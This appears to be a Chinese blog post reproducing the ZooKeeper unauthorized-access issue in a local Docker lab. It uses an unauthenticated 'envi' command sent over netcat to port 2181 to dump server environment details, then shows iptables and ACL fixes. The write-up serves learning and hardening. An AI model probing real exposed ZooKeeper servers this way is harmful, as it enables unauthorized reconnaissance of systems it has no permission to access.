目录
前言
ZooKeeper 是一个开源的 开放源码的应用程序协作服务 是 Google的Chub一个开源
的实现 是 Hadoop 和 Hbase 的重要组件。
Zookeeper 未授权访问漏洞复现学习
最近刚忙完一个hvv 又一次记录信息的东西 想写点
的时候 当我们扫描端口的时候,如果扫描到2181端口 很可能是zookeeper服务
那么就可以试一下zookeeper未授权了
这里我用我的kali docker搭建好环境复现一下
环境搭建
安装下载直接安装
- ┌──(rootd57156e91f18)-[/tmp]
- └─# apt install zookeeper
复制代码
缺省是安装在这个路径
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper]
- └─# ls
- bin zooinspector
复制代码- 进入bin目录
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper/bin]
- └─# ls
- zkCleanup.sh zkCli.sh zkEnv.sh zkServer.sh
复制代码
启动zookeeper服务
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper/bin]
- └─# ./zkServer.sh start
- ZooKeeper JMX enabled by default
- Using config: /etc/zookeeper/conf/zoo.cfg
- Starting zookeeper ... STARTED
复制代码
可以看到端口已经正常启动了
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper/bin]
- └─# netstat -ano
- Active Internet connections (servers and established)
- Proto Recv-Q Send-Q Local Address Foreign Address State Timer
- tcp 0 0 0.0.0.0:42497 0.0.0.0:* LISTEN off (0.00/0/0)
- tcp 0 0 0.0.0.0:2181 0.0.0.0:* LISTEN off (0.00/0/0)
- Active UNIX domain sockets (servers and established)
- Proto RefCnt Flags Type State I-Node Path
- unix 2 [ ] STREAM CONNECTED 41502
- unix 2 [ ] STREAM CONNECTED 41500
复制代码
看下本机ip
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper/bin]
- └─# ifconfig
- eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
- inet 172.17.0.2 netmask 255.255.0.0 broadcast 172.17.255.255
- ether 02:42:ac:11:00:02 txqueuelen 0 (Ethernet)
- RX packets 2934 bytes 3962686 (3.7 MiB)
- RX errors 0 dropped 0 overruns 0 frame 0
- TX packets 1926 bytes 106399 (103.9 KiB)
- TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
- lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
- inet 127.0.0.1 netmask 255.0.0.0
- loop txqueuelen 1 (Local Loopback)
- RX packets 0 bytes 0 (0.0 B)
- RX errors 0 dropped 0 overruns 0 frame 0
- TX packets 0 bytes 0 (0.0 B)
- TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
复制代码
差检验
然后
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper/bin]
- └─# echo envi | nc 172.17.0.2 2181
- Environment:
- zookeeper.version=3.4.13-6--1, built on Sun, 07 Feb 2021 23:16:46 +0100
- host.name=d57156e91f18
- java.version=11.0.11
- java.vendor=Debian
- java.home=/usr/lib/jvm/java-11-openjdk-amd64
- java.class.path=/etc/zookeeper/conf:/usr/share/java/jline.jar:/usr/share/java/log4j-1.2.jar:/usr
- /share/java/xercesImpl.jar:/usr/share/java/xmlParserAPIs.jar:/usr/share/java/netty.jar:/usr/sha
- re/java/slf4j-api.jar:/usr/share/java/slf4j-log4j12.jar:/usr/share/java/zookeeper.jar
- java.library.path=/usr/java/packages/lib:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/
- usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
- java.io.tmpdir=/tmp
- java.compiler=<NA>
- os.name=Linux
- os.arch=amd64
- os.version=4.9.184-linuxkit
- user.name=root
- user.home=/root
- user.dir=/usr/share/zookeeper/bin
复制代码
修复方案
配置防火墙,只允许指定ip访问
- # -L:列出目前的table的规则
- # -n:不进行IP与HOSTNAME的反查,显示信息速度回快很多。
- └─# iptables -L -n
- Chain INPUT (policy ACCEPT)
- target prot opt source destination
- Chain FORWARD (policy ACCEPT)
- target prot opt source destination
- Chain OUTPUT (policy ACCEPT)
- target prot opt source destination
- # 清除所有制订的规则
- └─# iptables -F
- # 清除所有用户“自定义”的chain
- └─# iptables -X
- # 将所有chain的计数与流量统计都归零
- └─# iptables -Z
- └─# echo envi | nc 172.17.0.2 2181
- 成功回显
- # 拒绝所有ip访问2181端口
- └─# iptables -I INPUT -p tcp --dport 2181 -j DROP
- └─# echo envi | nc 172.17.0.2 2181
- Ncat: TIMEOUT.
- └─# echo envi | nc 127.0.0.1 2181
- Ncat: TIMEOUT.
- # 允许127.0.0.1本地ip访问2181
- └─# iptables -I INPUT -s 127.0.0.1 -p tcp --dport 2181 -j ACCEPT
- └─# echo envi | nc 127.0.0.1 2181
- 成功回显
复制代码
ACL策略配置
- # 连接zookeeper
- ┌──(rootd57156e91f18)-[/usr/share/zookeeper/bin]
- └─# ./zkCli.sh -server 127.0.0.1
- Connecting to 127.0.0.1
- Welcome to ZooKeeper!
- JLine support is enabled
- WATCHER::
- WatchedEvent state:SyncConnected type:None path:null
- # 查看当前权限
- [zk: 127.0.0.1(CONNECTED) 0] getAcl /
- 'world,'anyone
- : cdrwa
- # 添加可访问IP
- [zk: 127.0.0.1(CONNECTED) 1] setAcl / ip:127.0.0.1:cdrwa
- cZxid = 0x0
- ctime = Thu Jan 01 00:00:00 UTC 1970
- mZxid = 0x0
- mtime = Thu Jan 01 00:00:00 UTC 1970
- pZxid = 0x0
- cversion = -1
- dataVersion = 0
- aclVersion = 1
- ephemeralOwner = 0x0
- dataLength = 0
- numChildren = 1
- [zk: 127.0.0.1(CONNECTED) 2] getAcl /
- 'ip,'127.0.0.1
- : cdrwa
复制代码
[MD][目录] |